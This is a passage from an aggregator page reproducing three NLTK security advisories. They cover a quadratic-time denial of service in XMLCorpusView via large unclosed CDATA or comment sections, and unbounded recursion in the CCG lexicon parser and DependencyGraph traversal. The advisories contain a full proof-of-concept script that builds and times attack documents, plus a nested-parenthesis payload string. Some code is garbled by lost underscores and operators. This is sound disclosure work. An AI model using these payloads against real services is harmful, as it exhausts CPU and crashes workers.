For this input class the re.search probe at xmldocs.py:312 is O(1): the fragment always starts with < (e.g. <root>…), so the first </> character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at xmldocs.py:308 and xmldocs.py:329 (the latter scans the buffer up to the most recent <, which for this input sits near the end of the buffer).

VALIDXMLRE (xmldocs.py:238-249) is a linear regex (its tempered-dot comment/CDATA bodies (?:(?!-->).) / (?:(?!\]\]>).) scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the match itself fails after scanning the whole buffer. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.

The intag guard added for GHSA-vp2x (xmldocs.py:283-305) tracks only bare </> characters: it is True inside an unclosed <...> tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary </> inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at xmldocs.py:283-289 even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only.

The single-match cost is linear, not super-linear: the embedded script measures VALIDXMLRE.match() on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.

Version nuance (all dynamically verified):

- 3.10.3 / develop (guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path. - 3.6 / 3.9.2 (pre-guard): these releases use a lazy VALIDXMLRE whose CDATA alternative <![CDATA[.?]]> never matches (the [CDATA[.?] substring is parsed as a character class), so a CDATA document is rejected with ValueError: Unexpected end of file: tag not closed after the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.

PoC

The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing </> characters with no --> before the final marker, drives XMLCorpusView's fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.

Scope note: dynamically run on 3.6, 3.9.2, 3.10.3 (released wheels from PyPI / the local 3.10.3 wheel) and develop 6818767b9 (checked out source). No releases outside those were run; the >= 3.6 bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x8664. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.

Live transcript (recorded run on the 3.10.3 wheel; the 3.6, 3.9.2 and develop 6818767b9 runs are summarized below):

[TIMING] unclosed comment n=65558 t=0.083s 4n=262166 t=1.070s ratio=12.9 (n->returned) [PASS] attack document is well-formed XML (parses with ElementTree) (both sizes parse; root element tag='root') [PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4) (measured 12.9) [INFO] in-tag guard present in module: True [TIMING] CDATA variant n=65561 t=0.142s 4n=262169 t=2.169s ratio=15.3 (n->returned) [PASS] CDATA variant also super-linear on guard-present build (measured 15.3) [TIMING] single VALIDXMLRE.match 256KiB=0.0083s 512KiB=0.0741s 1MiB=0.1419s 2MiB=0.2804s [PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear) (measured 4x ratio=3.79) [TIMING] oversized tag (control) n=1048576 t=0.059s 4n=4194304 t=0.242s ratio=4.1 [PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8) (measured 4.1) [PASS] public API list(XMLCorpusView(path, '.')) reads the attack document (1 item(s) read from 65558-byte document) RESULT 6/6 checks passed, 0 failed

Other runs (all 6/6; essential lines only):

3.6 (pre-guard): comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19 3.9.2 (pre-guard): comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95 develop 6818767b9: comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76

(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)

Impact

- Type: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact. - Who is impacted: any deployment that feeds corpus XML to XMLCorpusView (or to the npschat / framenet readers) from a source not fully trusted — the exact "untrusted input" threat model in SECURITY.md. The input is ordinary, well-formed XML; nothing about it is malformed or rejected by any parser. - Attacker requirements: deliver a well-formed XML file whose body contains a large comment or CDATA section with </> characters and the terminator at the end. No privilege and no user interaction are required beyond the automated read of the file — the same delivery model as other NLTK resource-loading issues (SECURITY.md), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies UI:N and AV:N in the score above. - Effect: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.

Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like intag already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed <!... construct (no ]]> / --> / doctype terminator yet), and skip the whole-buffer matches at xmldocs.py:308 and xmldocs.py:329 whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing nltk/test/unit/testquadraticdos.py cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.

---

Reproduction script (self-contained)

python #!/usr/bin/env python3 """Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).

Root cause: XMLCorpusView.readxmlfragment (nltk/corpus/reader/xmldocs.py) reads a file in 1024-char blocks and accumulates them into a single fragment. After every block that is not yet a well-formed prefix, it re-runs a linear pass over the whole growing buffer -- VALIDXMLRE.match(fragment) and, when it backtracks, VALIDXMLRE.match(fragment[:lastlt]). (A third probe, re.search("[<>]", fragment), is O(1) here because the document starts with '<'.) For a fragment that stays "unclosed" across many blocks -- a CDATA section or comment whose terminator (]]> / -->) lies far ahead -- every block costs O(current buffer length), so a single document of N bytes costs ~O(N^2) character operations. The in-tag guard added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed CDATA / comment state, so this class remains quadratic in the current release.

The attack documents are well-formed XML: comments and CDATA may legally contain '<' and '>'.

Controls: 1. Well-formedness: the attack document parses with ElementTree. 2. Linear baseline on the same reader: an oversized single tag of the same size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x case). On pre-guard builds it is quadratic too -- reported, not asserted. 3. Public API reachability: list(XMLCorpusView(path, ".")) drives the same sink.

Assertions: - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4). - tag-control doubling ratio must be ~linear (< 8) when the guard is present.

Usage: python3 reproxmlcorpusviewunclosedcdata.py Env: PYTHONPATH : site-packages of the nltk version under test (required) NLTKBODYSIZE : comment/CDATA body size in bytes (default 65536) """ import io import os import shutil import sys import tempfile import time

import xml.etree.ElementTree as ET

Point NLTK's sandbox at a private data root so the public API reachability check below may open its own corpus file (pathsec only trusts data roots and private temp dirs; a shared /tmp is not an allowed root). DATAROOT = os.environ.get("NLTKDATA") CLEANUPROOT = None if not DATAROOT: DATAROOT = tempfile.mkdtemp(prefix="nltkxmlview") os.environ["NLTKDATA"] = DATAROOT CLEANUPROOT = DATAROOT

from nltk.corpus.reader.xmldocs import XMLCorpusView

def elapsed(fn): start = time.perfcounter() fn() return time.perfcounter() - start

def buildcommentdoc(bodysize): # Well-formed XML: one root, one large comment containing '<' and '>' and # no '-->' before the closing marker. body = ("a<b<c<d>" ((bodysize // 8) + 1))[:bodysize] return "<root><!-- " + body + " --></root>"

def buildcdatadoc(bodysize): # Well-formed XML: one root, one large CDATA containing '<' and '>' and no # ']]>' before the closing marker. body = ("a<b<c<d>" ((bodysize // 8) + 1))[:bodysize] return "<root><![CDATA[" + body + "]]></root>"

def buildunclosedcdataprefix(bodysize): # The line-308 match input: an accumulating fragment that is still inside # an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache # reuse with the attack-timing buffers above, which would skew the timing. body = ("x<y<z<w>" ((bodysize // 8) + 1))[:bodysize] return "<root><![CDATA[" + body

def buildgianttag(bodysize): # Control: a single oversized '<a ...>' tag, no '>' until the very end. return "<a " + ("x" bodysize) + ">"

def guardpresent(): import nltk.corpus.reader.xmldocs as m

with open(m.file, encoding="utf-8") as fh: return "intag" in fh.read()

view = XMLCorpusView.new(XMLCorpusView) results = []

def check(name, cond, detail=""): results.append(bool(cond)) print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f" ({detail})" if detail else ""))

def readfrag(doc): """Drive readxmlfragment, tolerating the EOF ValueError that pre-guard releases raise for CDATA-containing documents.""" try: return view.readxmlfragment(io.StringIO(doc)) except ValueError as exc: return "ValueError: %s" % exc

def timeratio(build, n1, n4): d1, d4 = build(n1), build(n4) t1 = elapsed(lambda: readfrag(d1)) t4 = elapsed(lambda: readfrag(d4)) return d1, d4, t1, t4

---- Sizes --------------------------------------------------------------- body = int(os.environ.get("NLTKBODYSIZE", "65536")) tag1, tag4 = 1 << 20, 4 << 20 # 1 MiB / 4 MiB (guard-present linear baseline)

---- Primary attack: large comment unclosed until its final '-->' --------- c1, c4, t1, t4 = timeratio(buildcommentdoc, body, 4 body) ratio = t4 / t1 out1 = readfrag(c1) # outcome probe (returned string vs ValueError) outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1 print(f"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s " f"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n->{outcome})") check( "attack document is well-formed XML (parses with ElementTree)", ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root", f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'", ) check( "unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)", ratio > 10.0, f"measured {ratio:.1f}", )

---- CDATA variant --------------------------------------------------------- hasguard = guardpresent() print(f"[INFO] in-tag guard present in module: {hasguard}") d1, d4, td1, td4 = timeratio(buildcdatadoc, body, 4 body) dratio = td4 / td1 dout = readfrag(d1) doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout print(f"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s " f"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n->{doutcome})") if hasguard: check( "CDATA variant also super-linear on guard-present build", dratio > 10.0, f"measured {dratio:.1f}", ) else: # Pre-guard releases cannot validate any CDATA (their regex's CDATA # alternative never matches), so the fragment ends in ValueError -- a # separate functional defect; report only. check( "pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)", doutcome.startswith("ValueError"), str(doutcome), )

---- Single-match linearity of VALIDXMLRE ------------------------------ The quadratic total comes from re-running a linear whole-buffer match on every block, not from the regex itself backtracking super-linearly (a single match would then also blow up with input size). Verify single-match scaling. The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x faster in an already-warmed engine, so it is reported but not asserted on). def bestmatchms(buf): view.VALIDXMLRE.match(buf) # warm-up (cache pattern + char-class state) return min(elapsed(lambda: view.VALIDXMLRE.match(buf)) for in range(3))

ms = {s: bestmatchms(buildunclosedcdataprefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)} print(f"[TIMING] single VALIDXMLRE.match 256KiB={ms[1 << 18]:.4f}s 512KiB={ms[1 << 19]:.4f}s " f"1MiB={ms[1 << 20]:.4f}s 2MiB={ms[1 << 21]:.4f}s") check( "single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)", ms[1 << 21] / ms[1 << 19] < 6.0, f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}", )

---- Control: giant single tag on the same reader --------------------------- if hasguard: g1, g4, tg1, tg4 = timeratio(buildgianttag, tag1, tag4) gratio = tg4 / tg1 print(f"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s " f"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}") check( "oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)", gratio < 8.0, f"measured {gratio:.1f}", ) else: g1, g4, tg1, tg4 = timeratio(buildgianttag, body, 4 body) gratio = tg4 / tg1 print(f"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s " f"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}") check( "oversized single tag also super-linear pre-guard (report-only)", gratio > 4.0, f"measured {gratio:.1f}", )

---- Reachability: the public XMLCorpusView API drives the same sink ------- path = os.path.join(DATAROOT, "attack.xml") with open(path, "w", encoding="utf-8") as fh: fh.write(c1) try: items = list(XMLCorpusView(path, ".")) check( "public API list(XMLCorpusView(path, '.')) reads the attack document", len(items) >= 1, f"{len(items)} item(s) read from {len(c1)}-byte document", ) finally: if CLEANUPROOT: shutil.rmtree(CLEANUPROOT, ignoreerrors=True)

passed = sum(results) failed = len(results) - passed print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed") sys.exit(0 if failed == 0 else 1)

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

Two open pull requests carry a fix.

PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validatepath", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView.readxmlfragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/securityprobes/ghsaj8g8j4j78j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).

The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Root Cause The CCG lexicon parser recurses on nested parenthesised categories without any depth bound. matchBrackets (nltk/ccg/lexicon.py:154) calls itself once per nested (, and augParseCategory (nltk/ccg/lexicon.py:228,242) recurses once per bracketed sub-category. Neither function tracks recursion depth nor checks sys.getrecursionlimit(), and the public entry point fromstring (nltk/ccg/lexicon.py:252, also re-exported via nltk.ccg.chart.fromstring) applies no length or nesting cap before handing the text to the parser.

Impact An application that parses an untrusted lexicon string aborts with an unhandled RecursionError, terminating the affected parse operation or request worker (denial of service, CWE-674). The recursion is pure Python, so CPython raises a catchable RecursionError rather than crashing the process; there is no memory-corruption or code-execution primitive. Confidentiality and integrity are unaffected. Plausibly, a service that does not wrap the parse in a handler will surface the error to the caller and drop the in-flight request.

Attack Chain 1. The application calls nltk.ccg.lexicon.fromstring(lexstr) with attacker-supplied text such as ":- S\nw => " + "(" 2000 + "S" + ")" 2000 + "\n". 2. fromstring splits the input into lines; LEXRE/RHSRE (nltk/ccg/lexicon.py:275-276) match and route the parenthesised category into augParseCategory (nltk/ccg/lexicon.py:277) with no depth or length guard. 3. Because the category starts with (, nextCategory dispatches to matchBrackets, which recurses once per nested (; augParseCategory recurses once per bracketed sub-category. Each nesting level consumes call-stack frames. 4. Once the depth exceeds the interpreter recursion limit, an unhandled RecursionError propagates out of the public API and aborts the parse.

Bypass Evidence Running the dependency-free matchBrackets body verbatim from the shipped source at the default recursion limit (1000): a well-formed balanced input at depth 5 and 500 parses cleanly, while depth 2000 and 5000 raise an unhandled RecursionError. Because shallow, balanced input parses without error, the failure is depth-driven rather than a generic parse error. The crash triggers near ~1000 nesting levels at the default limit, so the payload need not be extreme. A repository-wide search confirms no depth/recursion guard exists anywhere under nltk/ccg/ (the only recent change to this file routed regexes through nltk.redos and added no recursion bound).

Suggested Fix Add a recursion-depth choke point on the lexicon-parsing path — for example a depth counter that raises a bounded ValueError past a configurable maximum, mirroring the existing guards on FeatStructReader (nltk/featstruct.py), Tree.fromstring (MAXTREEDEPTH, nltk/tree/tree.py), and LogicParser (MAXPARSEDEPTH, nltk/sem/logic.py).

Reported by pi (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: 30e93eb7b (nltk/ccg/lexicon.py: matchBrackets and the category parser stop at MAXPARSEDEPTH=500 with ValueError).

Probe: nltk/test/unit/securityprobes/ghsa3h95x7724765.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded (ValueError)).

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Root Cause The dependency-graph traversal helpers recurse over dependency links without any depth bound or visited set. DependencyGraph.tree (nltk/parse/dependencygraph.py:404) recurses once per dependency link, triples (nltk/parse/dependencygraph.py:432) is a recursive generator, and getcyclepath (nltk/parse/dependencygraph.py:520) recurses over dependencies. The neighbouring containscycle method was deliberately rewritten as an iterative depth-first search, but these sibling helpers on the public traversal path were left recursive with no depth counter.

Impact An application that parses an untrusted CoNLL/Malt-TAB dependency structure and then walks it via tree() or triples() aborts with an unhandled RecursionError, terminating the affected operation or request worker (denial of service, CWE-674). The recursion is pure Python, so the result is a catchable RecursionError, not memory corruption or code execution. Confidentiality and integrity are unaffected. getcyclepath additionally lacks a visited set and will not terminate on a genuine cycle.

Attack Chain 1. The application constructs DependencyGraph(conllstr) from attacker-supplied text where token k's head is token k+1, forming a linear dependency chain of length N. Graph construction (parse) is iterative and completes without error. 2. The application calls the public DependencyGraph.tree() (nltk/parse/dependencygraph.py:408), which invokes tree(root). 3. tree recurses once per chain link with no depth guard and no visited set, consuming one stack frame per link (the list comprehension costs roughly two frames per level). 4. Once the chain length exceeds the interpreter recursion limit, an unhandled RecursionError propagates out of the public API. triples() fails the same way.

Bypass Evidence Against the shipped source at the default recursion limit, a chain of length 5 walks cleanly through tree(), while a chain of length 5000 raises an unhandled RecursionError; triples() fails identically. The minimal trigger is roughly N=500 tokens at the default recursion limit — a modest, realistic parse. Because the graph builds iteratively in both cases, the fault is isolated to the recursive traversal rather than to parsing. A repository-wide search confirms no depth guard exists in this file; the iterative rewrite was applied only to containscycle.

Suggested Fix Convert tree, triples, and getcyclepath to iterative traversals, or add a recursion-depth bound (and, for getcyclepath, a visited set) analogous to the iterative rewrite already applied to containscycle.

Reported by pi (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: a74682757 (nltk/parse/dependencygraph.py: tree, tree and triples stop at MAXDEPTH=200 with ValueError).

Probe: nltk/test/unit/securityprobes/ghsaxfcvm889fmqg.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded in tree() (ValueError)).

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203